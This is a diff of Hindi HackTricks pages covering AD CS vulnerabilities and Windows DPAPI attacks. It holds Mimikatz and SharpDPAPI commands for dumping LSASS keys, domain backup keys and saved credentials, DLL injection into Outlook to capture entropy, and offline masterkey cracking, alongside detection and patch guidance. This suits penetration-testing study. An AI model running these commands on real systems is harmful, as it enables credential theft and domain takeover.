| 2023 | **CVE-2023-35350 / 35351** | *दूरस्थ कोड-कार्यन्वयन* AD CS वेब नामांकन (certsrv) और CES भूमिकाओं में। | सार्वजनिक PoCs सीमित हैं, लेकिन कमजोर IIS घटक अक्सर आंतरिक रूप से उजागर होते हैं। पैच **जुलाई 2023** पैच मंगलवार के रूप में। citeturn3search0 |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | कम विशेषाधिकार वाले उपयोगकर्ता जिनके पास नामांकन अधिकार हैं, वे CSR जनरेशन के दौरान **किसी भी** EKU या SAN को ओवरराइड कर सकते हैं, जो क्लाइंट-प्रमाणीकरण या कोड-हस्ताक्षर के लिए उपयोगी प्रमाणपत्र जारी करते हैं और *डोमेन समझौता* की ओर ले जाते हैं। | **अप्रैल 2024** अपडेट में संबोधित किया गया। टेम्पलेट से “अनुरोध में आपूर्ति करें” को हटा दें और नामांकन अनुमतियों को प्रतिबंधित करें। citeturn1search3 |
| 2022 | **CVE-2022-26923** “Certifried” / ESC6 | *धिकार वृद्धि* मशीन खाता प्रमाणपत्रों को PKINIT के दौरान धोखा देकर। | पैच **10 मई 2022** सुरक्षा अपडेट में शामिल है। ऑडिटिंग और मजबूत-मैपिंग नियंत्रण **KB5014754** के माध्यम से पेश किए गए; वातावरण अब *पूर्ण प्रवर्तन* मोड में होना चाहिए। |
| 2023 | **CVE-2023-35350 / 35351** | *दूरस्थ कोड-कार्यन्वयन* AD CS वेब नामांकन (certsrv) और CES भूमिकाओं में। | सार्वजनिक PoCs सीमित हैं, लेकिन कमजोर IIS घटक अक्सर आंतरिक रूप से उजागर होते हैं। पैच **जुलाई 2023** पैच मंगलवार के रूप में। |
| 2024 | **CVE-2024-49019** “EKUwu” / ESC15 | कम-विशिष्ट उपयोगकर्ता जिनके पास नामांकन अधिकार हैं, वे CSR जनरेशन के दौरान **किसी भी** EKU या SAN को ओवरराइड कर सकते हैं, जो क्लाइंट-प्रमाणीकरण या कोड-हस्ताक्षर के लिए उपयोगी प्रमाणपत्र जारी करते हैं और *डोमेन समझौता* की ओर ले जाते हैं। | **अप्रैल 2024** अपडेट में संबोधित किया गया। टेम्पलेट से “अनुरोध में आपूर्ति करें” को हटा दें और नामांकन अनुमतियों को प्रतिबंधित करें। |
### Microsoft हार्डनिंग टाइमलाइन (KB5014754)
@ -134,13 +134,13 @@ Microsoft ने कमजोर निहित मैपिंग से क
1. सभी DCs और AD CS सर्वरों को पैच करें (मई 2022 या बाद में)।
2. *ऑडिट* चरण के दौरान कमजोर मैपिंग के लिए इवेंट आईडी 39/41 की निगरानी करें।
3. फरवरी 2025 से पहले नए **SID एक्सटेंशन** के साथ क्लाइंट-प्रमाण पत्र फिर से जारी करें या मजबूत मैनुअल मैपिंग कॉन्फ़िगर करें। citeturn2search0
3. फरवरी 2025 से पहले नए **SID एक्सटेंशन** के साथ क्लाइंट-प्रमाण पत्र फिर से जारी करें या मजबूत मैनुअल मैपिंग कॉन्फ़िगर करें।
---
## पहचान और हार्डनिंग सुधार
* **डिफेंडर फॉर आइडेंटिटी AD CS सेंसर (2023-2024)** अब ESC1-ESC8/ESC11 के लिए स्थिति आकलन प्रस्तुत करता है और *“गैर-DC के लिए डोमेन-नियंत्रक प्रमाणपत्र जारी करना”* (ESC8) और *“मनमाने एप्लिकेशन नीतियों के साथ प्रमाणपत्र नामांकन को रोकें”* (ESC15) जैसे वास्तविक समय के अलर्ट उत्पन्न करता है। सुनिश्चित करें कि इन पहचानियों से लाभ उठाने के लिए सभी AD CS सर्वरों पर सेंसर तैनात हैं। citeturn5search0
* **डिफेंडर फॉर आइडेंटिटी AD CS सेंसर (2023-2024)** अब ESC1-ESC8/ESC11 के लिए स्थिति आकलन प्रस्तुत करता है और *“गैर-DC के लिए डोमेन-नियंत्रक प्रमाणपत्र जारी करना”* (ESC8) और *“मनमाने एप्लिकेशन नीतियों के साथ प्रमाणपत्र नामांकन को रोकें”* (ESC15) जैसे वास्तविक समय के अलर्ट उत्पन्न करता है। सुनिश्चित करें कि इन पहचानियों से लाभ उठाने के लिए सभी AD CS सर्वरों पर सेंसर तैनात हैं।
* सभी टेम्पलेट्स पर **“अनुरोध में आपूर्ति करें”** विकल्प को बंद करें या कड़ी सीमा निर्धारित करें; स्पष्ट रूप से परिभाषित SAN/EKU मानों को प्राथमिकता दें।
* टेम्पलेट्स से **किसी भी उद्देश्य** या **कोई EKU** को हटा दें जब तक कि यह बिल्कुल आवश्यक न हो (ESC2 परिदृश्यों को संबोधित करता है)।
* संवेदनशील टेम्पलेट्स (जैसे, वेब सर्वर / कोड साइनिंग) के लिए **प्रबंधक अनुमोदन** या समर्पित नामांकन एजेंट कार्यप्रवाह की आवश्यकता करें।

View File

@ -2,35 +2,33 @@
{{#include ../../banners/hacktricks-training.md}}
## DPAPI क्या है
डेटा प्रोटेक्शन एपीआई (DPAPI) मुख्य रूप से विंडोज ऑपरेटिंग सिस्टम के भीतर **असामान्य निजी कुंजियों के सममित एन्क्रिप्शन** के लिए उपयोग किया जाता है, जो उपयोगकर्ता या सिस्टम रहस्यों को महत्वपूर्ण एंट्रॉपी के स्रोत के रूप में उपयोग करता है। यह दृष्टिकोण डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है, जिससे वे उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई कुंजी का उपयोग करके डेटा को एन्क्रिप्ट कर सकते हैं या, सिस्टम एन्क्रिप्शन के लिए, सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग कर सकते हैं, इस प्रकार डेवलपर्स को एन्क्रिप्शन कुंजी की सुरक्षा प्रबंधित करने की आवश्यकता को समाप्त कर देता है।
डेटा प्रोटेक्शन एपीआई (DPAPI) मुख्य रूप से Windows ऑपरेटिंग सिस्टम के भीतर **असामान्य निजी कुंजियों के सममित एन्क्रिप्शन** के लिए उपयोग किया जाता है, जो उपयोगकर्ता या सिस्टम रहस्यों को महत्वपूर्ण एंट्रॉपी के स्रोत के रूप में उपयोग करता है। यह दृष्टिकोण डेवलपर्स के लिए एन्क्रिप्शन को सरल बनाता है, जिससे वे उपयोगकर्ता के लॉगिन रहस्यों से निकाली गई कुंजी का उपयोग करके डेटा को एन्क्रिप्ट कर सकते हैं या, सिस्टम एन्क्रिप्शन के लिए, सिस्टम के डोमेन प्रमाणीकरण रहस्यों का उपयोग कर सकते हैं, इस प्रकार डेवलपर्स को एन्क्रिप्शन कुंजी की सुरक्षा का प्रबंधन करने की आवश्यकता को समाप्त कर देता है।
DPAPI का उपयोग करने का सबसे सामान्य तरीका **`CryptProtectData` और `CryptUnprotectData`** फ़ंक्शंस के माध्यम से है, जो अनुप्रयोगों को वर्तमान में लॉग इन किए गए प्रक्रिया के सत्र के साथ डेटा को सुरक्षित रूप से एन्क्रिप्ट और डिक्रिप्ट करने की अनुमति देते हैं। इसका मतलब है कि एन्क्रिप्ट किया गया डेटा केवल उसी उपयोगकर्ता या सिस्टम द्वारा डिक्रिप्ट किया जा सकता है जिसने इसे एन्क्रिप्ट किया था।
इसके अलावा, ये फ़ंक्शंस एक **`entropy` पैरामीटर** को भी स्वीकार करते हैं, जिसका उपयोग एन्क्रिप्शन और डिक्रिप्शन के दौरान किया जाएगा, इसलिए, इस पैरामीटर का उपयोग करके एन्क्रिप्ट की गई किसी चीज़ को डिक्रिप्ट करने के लिए, आपको वही एंट्रॉपी मान प्रदान करना होगा जो एन्क्रिप्शन के दौरान उपयोग किया गया था।
### उपयोगकर्ताओं की कुंजी उत्पन्न करना
### उपयोगकर्ता कुंजी निर्माण
DPAPI प्रत्येक उपयोगकर्ता के लिए उनके क्रेडेंशियल्स के आधार पर एक अद्वितीय कुंजी (जिसे **`pre-key`** कहा जाता है) उत्पन्न करता है। यह कुंजी उपयोगकर्ता के पासवर्ड और अन्य कारकों से निकाली जाती है और एल्गोरिदम उपयोगकर्ता के प्रकार पर निर्भर करता है लेकिन अंततः यह SHA1 बनता है। उदाहरण के लिए, डोमेन उपयोगकर्ताओं के लिए, **यह उपयोगकर्ता के HTLM हैश पर निर्भर करता है**
DPAPI प्रत्येक उपयोगकर्ता के लिए उनके क्रेडेंशियल्स के आधार पर एक अद्वितीय कुंजी (जिसे **`pre-key`** कहा जाता है) उत्पन्न करता है। यह कुंजी उपयोगकर्ता के पासवर्ड और अन्य कारकों से निकाली जाती है और एल्गोरिदम उपयोगकर्ता के प्रकार पर निर्भर करता है लेकिन अंततः SHA1 बनता है। उदाहरण के लिए, डोमेन उपयोगकर्ताओं के लिए, **यह उपयोगकर्ता के HTLM हैश पर निर्भर करता है**
यह विशेष रूप से दिलचस्प है क्योंकि यदि एक हमलावर उपयोगकर्ता के पासवर्ड हैश को प्राप्त कर सकता है, तो वे:
- **DPAPI का उपयोग करके एन्क्रिप्ट किए गए किसी भी डेटा को डिक्रिप्ट कर सकते हैं** उस उपयोगकर्ता की कुंजी के साथ बिना किसी API से संपर्क किए
- **पासवर्ड को क्रैक करने** की कोशिश कर सकते हैं ऑफलाइन सही DPAPI कुंजी उत्पन्न करने की कोशिश करते हुए
- **पासवर्ड को क्रैक करने** की कोशिश कर सकते हैं ऑफलाइन सही DPAPI कुंजी उत्पन्न करने की कोशिश करते हुए
इसके अलावा, हर बार जब कोई डेटा DPAPI का उपयोग करके एक उपयोगकर्ता द्वारा एन्क्रिप्ट किया जाता है, तो एक न**मास्टर कुंजी** उत्पन्न होती है। यह मास्टर कुंजी वास्तव में डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। प्रत्येक मास्टर कुंजी को एक **GUID** (ग्लोबली यूनिक आइडेंटिफायर) दिया जाता है जो इसे पहचानता है।
इसके अलावा, हर बार जब कोई डेटा DPAPI का उपयोग करके एक उपयोगकर्ता द्वारा एन्क्रिप्ट किया जाता है, तो एक नया **मास्टर कुंजी** उत्पन्न होता है। यह मास्टर कुंजी वास्तव में डेटा को एन्क्रिप्ट करने के लिए उपयोग की जाती है। प्रत्येक मास्टर कुंजी को एक **GUID** (ग्लोबली यूनिक आइडेंटिफायर) दिया जाता है जो इसे पहचानता है।
मास्टर कुंजियाँ **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** निर्देशिका में संग्रहीत होती हैं, जहाँ `{SID}` उस उपयोगकर्ता का सुरक्षा पहचानकर्ता है। मास्टर कुंजी उपयोगकर्ता के **`pre-key`** द्वारा एन्क्रिप्ट की गई है और पुनर्प्राप्ति के लिए एक **डोमेन बैकअप कुंजी** द्वारा भी (इसलिए वही कुंजी 2 अलग-अलग पास द्वारा 2 बार एन्क्रिप्ट की गई है)।
ध्यान दें कि **मास्टर कुंजी को एन्क्रिप्ट करने के लिए उपयोग की जाने वाली डोमेन कुंजी डोमेन नियंत्रकों में होती है और कभी नहीं बदलती**, इसलिए यदि एक हमलावर के पास डोमेन नियंत्रक तक पहुंच है, तो वे डोमेन बैकअप कुंजी को पुनर्प्राप्त कर सकते हैं और डोमेन में सभी उपयोगकर्ताओं की मास्टर कुंजियों को डिक्रिप्ट कर सकते हैं।
एन्क्रिप्टेड ब्लॉब्स में **मास्टर कुंजी का GUID** होता है जो डेटा को एन्क्रिप्ट करने के लिए उपयोग किया गया था, इसके हेडर में।
एन्क्रिप्टेड ब्लॉब में **मास्टर कुंजी का GUID** होता है जो डेटा को एन्क्रिप्ट करने के लिए उपयोग किया गया था, इसके हेडर में।
> [!TIP]
> DPAPI एन्क्रिप्टेड ब्लॉब्स **`01 00 00 00`** से शुरू होते हैं
> DPAPI एन्क्रिप्टेड ब्लॉब **`01 00 00 00`** से शुरू होते हैं
मास्टर कुंजियाँ खोजें:
```bash
@ -82,12 +80,12 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- स्थानीय प्रशासनिक विशेषाधिकारों के साथ, यह **LSASS मेमोरी** तक पहुँच प्राप्त करना संभव है ताकि सभी जुड़े उपयोगकर्ताओं के DPAPI मास्टर कुंजी और SYSTEM कुंजी निकाली जा सकें
- स्थानीय प्रशासनिक विशेषाधिकारों के साथ, यह **LSASS मेमोरी** तक पहुँचने के लिए संभव है ताकि सभी जुड़े उपयोगकर्ताओं के DPAPI मास्टर कुंजी और SYSTEM कुंजी को निकाला जा सके
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- यदि उपयोगकर्ता के पास स्थानीय प्रशासनिक विशेषाधिकार हैं, तो वे मशीन मास्टर कुंजियों को डिक्रिप्ट करने के लिए **DPAPI_SYSTEM LSA सीक्रेट** तक पहुँच सकते हैं:
- यदि उपयोगकर्ता के पास स्थानीय प्रशासनिक विशेषताएँ हैं, तो वे मशीन मास्टर कुंजियों को डिक्रिप्ट करने के लिए **DPAPI_SYSTEM LSA रहस्य** तक पहुँच सकते हैं:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
@ -134,7 +132,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) फ़ाइल सिस्टम, रजिस्ट्री और B64 ब्लॉब्स में DPAPI एन्क्रिप्टेड ब्लॉब्स को खोज सकता है:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) फ़ाइल सिस्टम, रजिस्ट्री और B64 ब्लॉब में DPAPI एन्क्रिप्टेड ब्लॉब्स को खोज सकता है:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -153,7 +151,7 @@ search /type:base64 [/base:<base64 string>]
### एक्सेस कुंजी और डेटा
- **SharpDPAPI** का उपयोग करें ताकि वर्तमान सत्र से DPAPI एन्क्रिप्टेड फ़ाइलों से क्रेडेंशियल प्राप्त किए जा सकें:
- **SharpDPAPI** का उपयोग करें ताकि वर्तमान सत्र से DPAPI एन्क्रिप्टेड फ़ाइलों से क्रेडेंशियल्स प्राप्त किए जा सकें:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -172,7 +170,7 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **मास्टरकी तक पहुँच**:
- **मास्टरकी तक पहुँचें**:
RPC का उपयोग करके **डोमेन बैकअप कुंजी** का अनुरोध करने वाले उपयोगकर्ता की मास्टरकी को डिक्रिप्ट करें:
```bash
@ -202,7 +200,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
**SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह संभव है `/rpc` का उपयोग करके डोमेन बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना, `/unprotect` का उपयोग करके वर्तमान उपयोगकर्ताओं के सत्र का उपयोग करना...):
**SharpDPAPI** टूल `credentials|vaults|rdg|keepass|triage|blob|ps` डिक्रिप्शन के लिए इन तर्कों का भी समर्थन करता है (ध्यान दें कि यह `/rpc` का उपयोग करके डोमेन बैकअप कुंजी प्राप्त करना, `/password` का उपयोग करके एक प्लेनटेक्स्ट पासवर्ड का उपयोग करना, `/pvk` का उपयोग करके एक DPAPI डोमेन प्राइवेट की फ़ाइल निर्दिष्ट करना, `/unprotect` का उपयोग करके वर्तमान उपयोगकर्ताओं के सत्र का उपयोग करना संभव है...)
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -230,11 +228,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### वैकल्पिक एंट्रॉपी का प्रबंधन ("तीसरे पक्ष की एंट्रॉपी")
### वैकल्पिक एंट्रॉपी ("तीसरे पक्ष की एंट्रॉपी")
कुछ अनुप्रयोग `CryptProtectData` को एक अतिरिक्त **एंट्रॉपी** मान पास करते हैं। इस मान के बिना, ब्लॉब को डिक्रिप्ट नहीं किया जा सकता, भले ही सही मास्टरकी ज्ञात हो। इस प्रकार संरक्षित क्रेडेंशियल्स को लक्षित करते समय एंट्रॉपी प्राप्त करना आवश्यक है (जैसे Microsoft Outlook, कुछ VPN क्लाइंट)।
कुछ अनुप्रयोग `CryptProtectData` को एक अतिरिक्त **एंट्रॉपी** मान पास करते हैं। इस मान के बिना, ब्लॉब को डिक्रिप्ट नहीं किया जा सकता, भले ही सही मास्टरकी ज्ञात हो। इस प्रकार से संरक्षित क्रेडेंशियल्स को लक्षित करते समय एंट्रॉपी प्राप्त करना आवश्यक है (जैसे Microsoft Outlook, कुछ VPN क्लाइंट)।
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) एक उपयोगकर्ता-मोड DLL है जो लक्षित प्रक्रिया के भीतर DPAPI कार्यों को हुक करता है और किसी भी वैकल्पिक एंट्रॉपी को पारदर्शी रूप से रिकॉर्ड करता है जो प्रदान की जाती है। `outlook.exe` या `vpnclient.exe` जैसी प्रक्रियाओं के खिलाफ **DLL-injection** मोड में EntropyCapture चलाने से एक फ़ाइल उत्पन्न होगी जो प्रत्येक एंट्रॉपी बफर को कॉल करने वाली प्रक्रिया और ब्लॉब से मैप करती है। कैप्चर की गई एंट्रॉपी को बाद में **SharpDPAPI** (`/entropy:`) या **Mimikatz** (`/entropy:<file>`) को डेटा को डिक्रिप्ट करने के लिए प्रदान किया जा सकता है। citeturn5search0
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) एक उपयोगकर्ता-मोड DLL है जो लक्षित प्रक्रिया के भीतर DPAPI कार्यों को हुक करता है और किसी भी वैकल्पिक एंट्रॉपी को पारदर्शी रूप से रिकॉर्ड करता है जो प्रदान की जाती है। `outlook.exe` या `vpnclient.exe` जैसी प्रक्रियाओं के खिलाफ **DLL-injection** मोड में EntropyCapture चलाने से एक फ़ाइल उत्पन्न होगी जो प्रत्येक एंट्रॉपी बफर को कॉल करने वाली प्रक्रिया और ब्लॉब से मैप करती है। कैप्चर की गई एंट्रॉपी को बाद में **SharpDPAPI** (`/entropy:`) या **Mimikatz** (`/entropy:<file>`) को डेटा को डिक्रिप्ट करने के लिए प्रदान किया जा सकता है।
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -244,9 +242,9 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey प्रारूप पेश किया। `hashcat` v6.2.6 (दिसंबर 2023) ने हैश-मोड **22100** (DPAPI masterkey v1 context), **22101** (context 1) और **22102** (context 3) जोड़े, जो उपयोगकर्ता पासवर्ड को सीधे masterkey फ़ाइल से GPU-त्वरित क्रैकिंग की अनुमति देते हैं। इसलिए हमलावर शब्द-सूची या ब्रूट-फोर्स हमले कर सकते हैं बिना लक्ष्य प्रणाली के साथ इंटरैक्ट किए। citeturn8search1
Microsoft ने Windows 10 v1607 (2016) से **context 3** masterkey प्रारूप पेश किया। `hashcat` v6.2.6 (दिसंबर 2023) ने हैश-मोड **22100** (DPAPI masterkey v1 context), **22101** (context 1) और **22102** (context 3) जोड़े, जो उपयोगकर्ता पासवर्ड को सीधे masterkey फ़ाइल से GPU-त्वरित क्रैकिंग की अनुमति देते हैं। इसलिए हमलावर शब्द-सूची या ब्रूट-फोर्स हमले कर सकते हैं बिना लक्ष्य प्रणाली के साथ इंटरैक्ट किए।
`DPAPISnoop` (2024) प्रक्रिया को स्वचालित करता है:
`DPAPISnoop` (2024) इस प्रक्रिया को स्वचालित करता है:
```bash
# Parse a whole Protect folder, generate hashcat format and crack
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
@ -276,39 +274,37 @@ LDAP से निकाले गए कंप्यूटरों की स
[**DonPAPI**](https://github.com/login-securite/DonPAPI) स्वचालित रूप से DPAPI द्वारा संरक्षित रहस्यों को डंप कर सकता है। 2.x रिलीज़ में शामिल हैं:
* सैकड़ों होस्ट से ब्लॉब्स का समानांतर संग्रह
* **context 3** मास्टरकी का पार्सिंग और स्वचालित Hashcat क्रैकिंग एकीकरण
* **context 3** मास्टरकीज़ का पार्सिंग और स्वचालित Hashcat क्रैकिंग एकीकरण
* Chrome "App-Bound" एन्क्रिप्टेड कुकीज़ के लिए समर्थन (अगले अनुभाग को देखें)
* एक नया **`--snapshot`** मोड जो बार-बार एंडपॉइंट्स को पोल करता है और नए बनाए गए ब्लॉब्स का अंतर करता है citeturn1search2
* एक नया **`--snapshot`** मोड जो बार-बार एंडपॉइंट्स को पोल करता है और नए बनाए गए ब्लॉब्स का अंतर करता है
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) मास्टरकी/क्रेडेंशियल/वॉल्ट फ़ाइलों के लिए एक C# पार्सर है जो Hashcat/JtR प्रारूपों को आउटपुट कर सकता है और वैकल्पिक रूप से स्वचालित रूप से क्रैकिंग को सक्रिय कर सकता है। यह Windows 11 24H1 तक मशीन और उपयोगकर्ता मास्टरकी प्रारूपों का पूरी तरह से समर्थन करता है। citeturn2search0
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) मास्टरकी/क्रेडेंशियल/वॉल्ट फ़ाइलों के लिए एक C# पार्सर है जो Hashcat/JtR प्रारूपों को आउटपुट कर सकता है और वैकल्पिक रूप से स्वचालित रूप से क्रैकिंग को सक्रिय कर सकता है। यह Windows 11 24H1 तक मशीन और उपयोगकर्ता मास्टरकी प्रारूपों का पूर्ण समर्थन करता है।
## सामान्य पहचान
- `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` और अन्य DPAPI-संबंधित निर्देशिकाओं में फ़ाइलों तक पहुँच।
- विशेष रूप से **C$** या **ADMIN$** जैसे नेटवर्क शेयर से।
- LSASS मेमोरी तक पहुँचने या मास्टरकी को डंप करने के लिए **Mimikatz**, **SharpDPAPI** या समान उपकरणों का उपयोग।
- LSASS मेमोरी तक पहुँचने या मास्टरकीज़ को डंप करने के लिए **Mimikatz**, **SharpDPAPI** या समान उपकरणों का उपयोग।
- इवेंट **4662**: *एक वस्तु पर एक ऑपरेशन किया गया था* इसे **`BCKUPKEY`** वस्तु तक पहुँच के साथ सहसंबंधित किया जा सकता है।
- इवेंट **4673/4674** जब एक प्रक्रिया *SeTrustedCredManAccessPrivilege* (क्रेडेंशियल प्रबंधक) का अनुरोध करती है।
---
### 2023-2025 कमजोरियाँ और पारिस्थितिकी तंत्र में परिवर्तन
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (नवंबर 2023)। एक हमलावर जिसके पास नेटवर्क पहुँच है, एक डोमेन सदस्य को एक दुर्भावनापूर्ण DPAPI बैकअप कुंजी प्राप्त करने के लिए धोखा दे सकता है, जिससे उपयोगकर्ता मास्टरकी का डिक्रिप्शन संभव हो जाता है। नवंबर 2023 के संचयी अपडेट में पैच किया गया प्रशासकों को सुनिश्चित करना चाहिए कि DCs और कार्यस्थानों को पूरी तरह से पैच किया गया है। citeturn4search0
* **Chrome 127 “App-Bound” कुकी एन्क्रिप्शन** (जुलाई 2024) ने विरासती DPAPI-केवल सुरक्षा को एक अतिरिक्त कुंजी के साथ बदल दिया जो उपयोगकर्ता के **क्रेडेंशियल प्रबंधक** के तहत संग्रहीत होती है। कुकीज़ का ऑफ़लाइन डिक्रिप्शन अब DPAPI मास्टरकी और **GCM-लिपटे ऐप-बाउंड कुंजी** दोनों की आवश्यकता होती है। SharpChrome v2.3 और DonPAPI 2.x उपयोगकर्ता संदर्भ के साथ चलने पर अतिरिक्त कुंजी को पुनः प्राप्त करने में सक्षम हैं। citeturn0search0
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (नवंबर 2023)। एक हमलावर जिसके पास नेटवर्क पहुँच है, एक डोमेन सदस्य को एक दुर्भावनापूर्ण DPAPI बैकअप कुंजी प्राप्त करने के लिए धोखा दे सकता है, जिससे उपयोगकर्ता मास्टरकीज़ का डिक्रिप्शन संभव हो जाता है। नवंबर 2023 के संचयी अपडेट में पैच किया गया प्रशासकों को सुनिश्चित करना चाहिए कि DCs और कार्यस्थानों को पूरी तरह से पैच किया गया है।
* **Chrome 127 “App-Bound” कुकी एन्क्रिप्शन** (जुलाई 2024) ने विरासती DPAPI-केवल सुरक्षा को एक अतिरिक्त कुंजी के साथ बदल दिया जो उपयोगकर्ता के **क्रेडेंशियल प्रबंधक** के तहत संग्रहीत होती है। कुकीज़ का ऑफ़लाइन डिक्रिप्शन अब DPAPI मास्टरकी और **GCM-लिपटे ऐप-बाउंड कुंजी** दोनों की आवश्यकता होती है। SharpChrome v2.3 और DonPAPI 2.x उपयोगकर्ता संदर्भ के साथ चलने पर अतिरिक्त कुंजी को पुनः प्राप्त करने में सक्षम हैं।
## संदर्भ
- https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13
- https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004
- https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
- https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/
- https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6
- https://github.com/Leftp/DPAPISnoop
- https://pypi.org/project/donpapi/2.0.0/
- [https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13](https://www.passcape.com/index.php?section=docsys&cmd=details&id=28#13)
- [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#using-dpapis-to-encrypt-decrypt-data-in-c)
- [https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36004)
- [https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
- [https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/](https://specterops.io/blog/2022/05/18/entropycapture-simple-extraction-of-dpapi-optional-entropy/)
- [https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6](https://github.com/Hashcat/Hashcat/releases/tag/v6.2.6)
- [https://github.com/Leftp/DPAPISnoop](https://github.com/Leftp/DPAPISnoop)
- [https://pypi.org/project/donpapi/2.0.0/](https://pypi.org/project/donpapi/2.0.0/)
{{#include ../../banners/hacktricks-training.md}}